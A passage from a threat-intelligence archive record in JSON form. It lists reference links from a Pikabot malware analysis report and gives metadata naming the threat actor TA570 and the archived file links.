value\r\nhttps://research.openanalysis.net/pikabot/yara/config/loader/2023/02/26/pikabot.html\r\nhttps://www.zscaler.com/blogs/security-research/technical-analysis-pikabot\r\nhttps://n1ght-w0lf.github.io/tutorials/qiling-for-malware-analysis-part-1/\r\nhttps://github.com/qilingframework/qiling\r\nhttps://anti-debug.checkpoint.com/techniques/assembly.html\r\nhttps://unprotect.it/technique/int-0x2d/\r\nhttps://rayanfam.com/topics/defeating-malware-anti-vm-techniques-cpuid-based-instructions/\r\nSource: https://d01a.github.io/pikabot/\r\nhttps://d01a.github.io/pikabot/\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://d01a.github.io/pikabot/"
	],
	"report_names": [
		"pikabot"
	],
	"threat_actors": [
		{
			"id": "96d5b301-0872-444c-ba32-eecf7a9241c0",
			"created_at": "2023-02-15T02:01:49.560566Z",
			"updated_at": "2026-04-10T02:00:03.347926Z",
			"deleted_at": null,
			"main_name": "TA570",
			"aliases": [
				"DEV-0450"
			],
			"source_name": "MISPGALAXY:TA570",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434305,
	"ts_updated_at": 1775791997,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/858b8658416e0fc42a4d423c9153dc9ccb7c638d.pdf",
		"text": "https://archive.orkl.eu/858b8658416e0fc42a4d423c9153dc9ccb7c638d.txt",
		"img": "https://archive.orkl.eu/858b8658416e0fc42a4d423c9153dc9ccb7c638d.jpg"
	}
}